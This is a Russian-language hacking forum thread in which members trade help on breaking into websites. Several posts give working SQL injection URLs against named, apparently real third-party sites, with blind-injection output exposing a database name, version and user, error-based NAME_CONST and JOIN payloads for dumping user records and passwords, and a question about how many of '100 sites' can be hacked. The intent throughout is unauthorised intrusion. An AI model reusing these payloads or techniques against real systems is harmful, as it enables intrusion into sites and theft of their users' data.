Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. DrakonSerg

    DrakonSerg Member

    Joined:
    16 Apr 2009
    Messages:
    66
    Likes Received:
    17
    Reputations:
    -1
    nmap вообще не находит ни одного порта. Захлебывается на старте. Я уже писал выше, этот сервер не пингуется. На запрос по локальному IP - в браузере чистая страница с чистым исходником. Пробую через веб на IP через ssh порт - показывает версию ssh и все. Вход на ssh через putty закрыт. Ни логина ни пароля мне неизвестно.
    Я с ним скоро с ума сойду. Дни и ночи напролет, и на одном месте. Знания, походу, не позволяют(((
     
    1 person likes this.
  2. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    поиграйся с флагами nmap! а как это через веб на ssh?
     
  3. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Не полностью.На то она и блин,что вывода нет.Чаще всего и вывода ошибок нет,просто белый экран например,но это для нас тоже ошибка! С помощью if() мы чтото сравниваем,и если есть данные - тру,булеый экран - фалсе.
     
  4. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ну да, там должно быть что нибудь типа or die(mysql_error())
     
    3 people like this.
  5. KNR

    KNR Member

    Joined:
    30 Oct 2009
    Messages:
    25
    Likes Received:
    7
    Reputations:
    0
    Не совсем понял как работает эта inj (
     
  6. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    зависит от настроек удаленного доступа
     
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Значит, юзера user@% в БД не существует
     
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    то что порт открыт - не значит, что тебе туда можно
     
    1 person likes this.
  9. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    40
    Likes Received:
    13
    Reputations:
    4
    http://webantenne.com/radio_player_1.php?id=999'

    Ошибка вылазит, но раскрутить не могу Оо
     
    1 person likes this.
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Code:
    http://webantenne.com/radio_player_1.php?id=-999+or+1=1+and+substring(version(),1,1)=3
    
    ----------------------------------
    Blind MYsql system information:
    ----------------------------------
    database(): db100436_1
    version(): 3.23.58-log
    user(): db100436_1@localhost
    
    POST-method granted
    
     
    2 people like this.
  11. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    1)К примеру у вас 100 сайтов с .php?id=10
    Сколько из них вы взломаете? Не получается у меня нифига =(

    2)Как вы обнарижваете sql inj ? script.php?id=1+and+1=1
    так ?
     
  12. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Ох я ебал.Как в болталке тролить так мы в первое рыло,а как статьи почитать религия не позволяет?
    Для каждого случая,отдельная диагностика,где то кавычка,где-то скобка.И нельзя вывести точную статистику сколько сайтов мы взломаем из 100, "благоприятные обстоятельства" нужны :D
     
  13. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    http://catalogue.montevideo.nl/code.php?id=-1+and+1=(select+*+from(select+*+from(se lect+name_const((version()),1)a)+as+a+join+(select+name_const((version()),1)c)d)s)--+
     
    3 people like this.
  14. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Не точно 3. Там явно видно, что переменная подставляется в несколько запросов с различным количеством колумнов.

    http://catalogue.montevideo.nl/code.php?id=-1+order+by+1,2,3--+

    http://catalogue.montevideo.nl/code.php?id=-1+order+by+1,2,3,4,5,6--+

    Инфу можно тащить например так

    http://catalogue.montevideo.nl/code.php?id=1+union+select+1,count(*),concat((select+user+from+watsnext.cata_users+limit+1,1),0x3a,floor(rand(0)*2))+x+from+information_schema.tables+group+by+x--+

    На что-либо кроме version() будет возвращаться ошибка Incorrect arguments to NAME_CONST. С чем это связано я лично не знаю.
     
    3 people like this.
  15. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Я полагаю это косяк функции name_const в этой версии мускуля, т.е. передаваемое как аргумент функции не является постоянным значением (т.е. константой). Вот затестил, если указывать допустим concat(1,0x3a,1), то ошибка, а если просто 1, то ошибка нету. В версии 5.0.32 получилось сделать select table_name в schema, а в 5.0.67 ошибка.
     
    #10895 v1d0qz, 31 Dec 2009
    Last edited: 31 Dec 2009
    1 person likes this.
  16. .Life

    .Life Banned

    Joined:
    26 Dec 2009
    Messages:
    81
    Likes Received:
    3
    Reputations:
    0
    Сори за поднятие этой темы ,обясните кто нить в деталях о скуле с использованием ExtractValue и name_const и -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
    -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
     
  17. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Смотреть таблы с конфигами, возможно будет адрес сайта.
    Особые условия.
     
  18. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Запрос JOIN объединяет 2 таблички и колонки этих двух табличек. Т.е. допустим если у нас есть 2 таблички и которых есть колонки id, то у нас выводиться "дубликат error 'и тут допустим название колонки дупликата'"
    пример: -1+and+1=(select+*+from+(select+*+from+codes+a+JOIN+codes+b)c)--
    Выведет в дупликат эроре название колонки 1. Допустим она называется id, с таблички codes,
    чтобы вывести вторую колонку, исключаем первую функией USING.
    пример: пример: -1+and+1=(select+*+from+(select+*+from+codes+a+JOIN+codes+b+USING(id))c--
    Если же добавить к запросу ещё и name_const, то можно выводить не только колонки, но и данные.
    например: -1+and+1=(select+*+from+(select+*+from+(SELECT+NAME_CONST((SELECT
    password+FROM+users+LIMIT+1),1)x)+a+JOIN+(SELECT+NAME_CONST((SELECT
    passwd+FROM+users+LIMIT+1),1)x)+b+USING(id))c--
    На счёт ExtractValue, то это только для версии от 5.1.5 вроде..Т.е. функция EXTRACTVALUE извлекает значения элемента из документа XML, но заместь документа, ты вписуешь подзапрос. Допустим Extractvalue((version()),1)
    Про дубликаты, есть отличная статья тут, потому как все детали описывать долговато..
    h_ttp://www.xakep.ru/post/50554/
    или ещё информация об этом, тут.
    h_ttp://bugs.mysql.com/bug.php?id=8652

    Если где синтаксическая ошибка, прийду исправлю, а то спешу по делам.
     
    #10898 v1d0qz, 31 Dec 2009
    Last edited: 12 Jan 2010
    1 person likes this.
  19. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Что серьёзно?)) Уважаемый, я вообще-то написал о синтаксических ошибках в моём тексте :) Ну да ладно. Видимо кто-то уже набрался не дождавшись нового года))
     
    #10899 v1d0qz, 31 Dec 2009
    Last edited: 31 Dec 2009
  20. .Life

    .Life Banned

    Joined:
    26 Dec 2009
    Messages:
    81
    Likes Received:
    3
    Reputations:
    0
    Воппрос по поводу джумлы - это не бреш случайно. Я забыл пасс в джумле : там была соль какая то 7c17fc4ad64ac1761a316464ccb106d7:ZZRM2g8cW3w0b0o2w rtqkn4H97CPOqYn если заменить на суму от md5 например, я заменил на 111 это 698d51a19d8a121ce581499d7b701668, то работает. Заходит в админку при вводе 111. Код не смотрел, а то хз как то все заумно написано не знаеш что к чему относиться)
     
Thread Status:
Not open for further replies.